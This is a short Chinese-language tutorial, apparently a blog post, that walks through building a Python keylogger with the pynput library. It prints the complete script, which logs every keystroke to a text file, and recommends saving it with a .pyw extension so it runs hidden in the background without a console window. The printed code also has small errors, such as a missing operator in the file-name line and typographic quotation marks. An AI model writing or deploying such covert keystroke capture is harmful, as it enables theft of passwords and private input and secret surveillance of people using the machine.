Python中的简单键盘记录器
正如你们都知道Python是一种非常强大的语言,可以用于任何目的。因此,在这篇文章中,我想通过用几行代码构建一个简单的键盘记录程序,让您成为python的忠实粉丝。
键盘记录程序是一个计算机程序,记录计算机用户的每次击键。我们将使用一个名为pynput的python库(https://github.com/moses-palmer/pynput),它可以帮助我们实现目标。安装:
pip install pynput
创建一个名为keylogger.pyw的文件,启动你最喜欢的文本编辑器,然后准备写我们的键盘记录器。
from pynput.keyboard import Key, Listener
import logging
log_directory = “”
logging.basicConfig(filename = (log_director“log_results.txt”),level = logging.DEBUG, format = ‘%(asctime)s : %(message)s’)
def keypress(Key):
logging.info(str(Key))
with Listener(on_press = keypress) as listener:
listener.join()
这就是整个代码。现在我将解释每一行的作用。第一行是关于导入pynput所需的包和日志记录,以便在按下时记录每个键。然后,我们应该提供一个日志目录,在本例中该目录被设置为空,以便它与脚本所在的目录相同。下一行处理日志配置。basicConfig()方法接受三个参数,其中可以提供文件名。在此之后,我们有了键按监听器方法,它除了记录已按下的相应键之外什么都不做。最后,每个按键都有监听器部分。
希望你已经注意到我们用一个pyw扩展名保存了源文件,而不是普通的py扩展名。原因是因为键盘记录程序旨在在后台实现其目的,pyw在不创建控制台窗口的情况下运行代码。